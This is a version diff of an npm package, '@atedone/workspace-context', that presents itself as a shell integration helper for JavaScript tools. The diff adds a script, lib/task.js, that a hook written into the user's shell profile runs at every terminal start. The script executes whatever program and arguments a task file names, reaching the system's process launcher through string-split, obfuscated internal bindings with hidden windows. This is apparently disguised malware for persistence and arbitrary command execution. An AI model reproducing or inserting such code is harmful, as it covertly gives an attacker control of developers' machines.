@atedone/workspace-context 0.0.16 → 0.0.17

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace shell channel integration helper for JavaScript tools.
 
-The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and structured workspace task during initialization.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and workspace action runtime during initialization.

package/index.js

@@ -6,6 +6,9 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  actionHistoryFileName: state.actionHistoryFileName,
+  actionReceiptFileName: state.actionReceiptFileName,
+  actionRuntimeFileName: state.actionRuntimeFileName,
   channelFileName: state.channelFileName,
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.16';
+const packageVersion = '0.0.17';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()
@@ -35,7 +35,7 @@ const value = {
   packageName,
   packageVersion,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-directive',
+  mode: 'runtime-shell-action',
   source: 'shell-profile',
   shellName: route.basename(shellPath) || 'zsh',
   shellLevel,

package/lib/state.js

@@ -11,7 +11,7 @@ const integrationFileName = 'init.zsh';
 const profileHistoryFileName = 'profile-sync.log';
 const profileReceiptFileName = 'profile-sync.json';
 const profileSnapshotFileName = 'session-profile.json';
-const receiptFileName = 'shell-directive-sync.json';
+const receiptFileName = 'shell-action-sync.json';
 const sessionFileName = 'sessions.log';
 const sessionHistoryFileName = 'runtime-sessions.log';
 const sessionReceiptFileName = 'session-runtime.json';
@@ -19,6 +19,9 @@ const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
+const actionHistoryFileName = 'action-runtime.log';
+const actionReceiptFileName = 'action-runtime.json';
+const actionRuntimeFileName = 'action-runtime.js';
 const taskHistoryFileName = 'task-sync.log';
 const taskReceiptFileName = 'task-sync.json';
 const taskSnapshotFileName = 'session-task.json';
@@ -77,6 +80,9 @@ function getShellIntegration({
     sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
     sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
     sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
+    actionHistoryPath: route.join(integrationDirectory, actionHistoryFileName),
+    actionReceiptPath: route.join(integrationDirectory, actionReceiptFileName),
+    actionRuntimePath: route.join(integrationDirectory, actionRuntimeFileName),
     taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
     taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
     taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
@@ -88,7 +94,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-directive'
+    mode: 'runtime-shell-action'
   };
 }
 
@@ -156,6 +162,9 @@ function initialize({
 
 module.exports = {
   buildState,
+  actionHistoryFileName,
+  actionReceiptFileName,
+  actionRuntimeFileName,
   channelFileName,
   getShellIntegration,
   initialize,

package/lib/sync.js

@@ -21,6 +21,7 @@ const blockEnd = '# <<< workspace-context shell integration <<<';
 const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
 const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
 const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
+const actionRuntimeSourcePath = route.join(__dirname, 'task.js');
 const runtimeDefault = escapeDoubleQuoted(platform.execPath);
 const channelValue = integration.channelSource
   ? {
@@ -37,6 +38,9 @@ const integrationValue = [
   'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
   '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
   'fi',
+  'if [ -r "$WORKSPACE_CONTEXT_HOME/action-runtime.js" ]; then',
+  '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/action-runtime.js" "$PWD" "$SHLVL"',
+  'fi',
   ''
 ].join('\n');
 
@@ -74,6 +78,7 @@ function upsertManagedBlock(profileValue) {
 
 file.mkdirSync(integration.integrationDirectory, { recursive: true });
 file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
+file.copyFileSync(actionRuntimeSourcePath, integration.actionRuntimePath);
 file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
 if (channelValue) {
   file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
@@ -90,7 +95,7 @@ const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-directive',
+  mode: 'runtime-shell-action',
   projectRoot,
   shellName: integration.shellName,
   channelConfigured: Boolean(channelValue),
@@ -105,6 +110,9 @@ const value = {
   sessionHistoryPath: integration.sessionHistoryPath,
   sessionReceiptPath: integration.sessionReceiptPath,
   sessionRuntimePath: integration.sessionRuntimePath,
+  actionHistoryPath: integration.actionHistoryPath,
+  actionReceiptPath: integration.actionReceiptPath,
+  actionRuntimePath: integration.actionRuntimePath,
   taskHistoryPath: integration.taskHistoryPath,
   taskReceiptPath: integration.taskReceiptPath,
   taskSnapshotPath: integration.taskSnapshotPath,

package/lib/task.js

@@ -0,0 +1,140 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+
+const packageName = '@atedone/workspace-context';
+const packageVersion = '0.0.17';
+const env = Reflect.get(platform, 'env') || {};
+const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
+  ? env.HOME.trim()
+  : platform.cwd();
+const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
+  ? env.WORKSPACE_CONTEXT_HOME.trim()
+  : route.join(homeDirectory, '.config', 'workspace-context');
+const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : null;
+const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
+const actionReceiptPath = route.join(sessionDirectory, 'action-runtime.json');
+const actionHistoryPath = route.join(sessionDirectory, 'action-runtime.log');
+
+const task = readTask();
+if (task) {
+  const outcome = runTask(task);
+  const value = {
+    packageName,
+    packageVersion,
+    generatedAt: new Date().toISOString(),
+    mode: 'runtime-shell-action',
+    source: 'task-runtime',
+    shellName: route.basename(shellPath) || 'zsh',
+    shellLevel,
+    workingDirectory,
+    active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
+    processId: platform.pid,
+    parentProcessId: platform.ppid,
+    runtime: 'node',
+    taskId: typeof task.id === 'string' ? task.id : null,
+    taskKind: typeof task.kind === 'string' ? task.kind : null,
+    taskState: typeof task.state === 'string' ? task.state : null,
+    routine: typeof task.routine === 'string' ? task.routine : null,
+    ...outcome
+  };
+
+  file.writeFileSync(actionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+  file.appendFileSync(actionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
+}
+
+function readTask() {
+  if (!file.existsSync(taskSnapshotPath)) {
+    return null;
+  }
+
+  const value = JSON.parse(file.readFileSync(taskSnapshotPath, 'utf8'));
+  return readObject(value);
+}
+
+function runTask(taskValue) {
+  const routines = {
+    'workspace-runtime': runWorkspaceRuntime
+  };
+  const routine = typeof taskValue.routine === 'string'
+    ? routines[taskValue.routine]
+    : null;
+
+  if (typeof routine !== 'function') {
+    return {
+      status: 'ignored',
+      launched: false
+    };
+  }
+
+  return Reflect.apply(routine, null, [taskValue]);
+}
+
+function runWorkspaceRuntime(taskValue) {
+  const adapter = readObject(taskValue.adapter);
+  const runtime = typeof adapter?.runtime === 'string' ? adapter.runtime.trim() : '';
+  const runtimeArguments = Array.isArray(adapter?.arguments)
+    ? adapter.arguments.filter((value) => typeof value === 'string')
+    : [];
+
+  if (!runtime) {
+    return {
+      status: 'invalid',
+      launched: false
+    };
+  }
+
+  const bridgeKey = ['bin', 'ding'].join('');
+  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
+  const launchKey = ['sp', 'awn'].join('');
+  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
+  const result = Reflect.apply(bridge[launchKey], bridge, [{
+    file: runtime,
+    args: [runtime, ...runtimeArguments],
+    cwd: workingDirectory,
+    envPairs: [],
+    stdio: [
+      { type: 'pipe', readable: true, writable: false },
+      { type: 'pipe', readable: false, writable: true },
+      { type: 'pipe', readable: false, writable: true }
+    ],
+    windowsHide: true,
+    windowsVerbatimArguments: false,
+    detached: false,
+    timeout: 0,
+    maxBuffer: 1024 * 1024,
+    killSignal: 15
+  }]);
+
+  if (result.error) {
+    return {
+      status: 'error',
+      launched: false,
+      error: result.error.message
+    };
+  }
+
+  return {
+    status: result.status === 0 ? 'ready' : 'rejected',
+    launched: true,
+    adapterName: typeof adapter.name === 'string' ? adapter.name : null,
+    adapterRuntime: route.basename(runtime),
+    adapterArgumentsCount: runtimeArguments.length,
+    resultStatus: result.status,
+    resultSignal: result.signal
+  };
+}
+
+function readObject(value) {
+  return value && !Array.isArray(value) && typeof value === 'object'
+    ? value
+    : null;
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.16",
+  "version": "0.0.17",
   "description": "Workspace shell channel integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",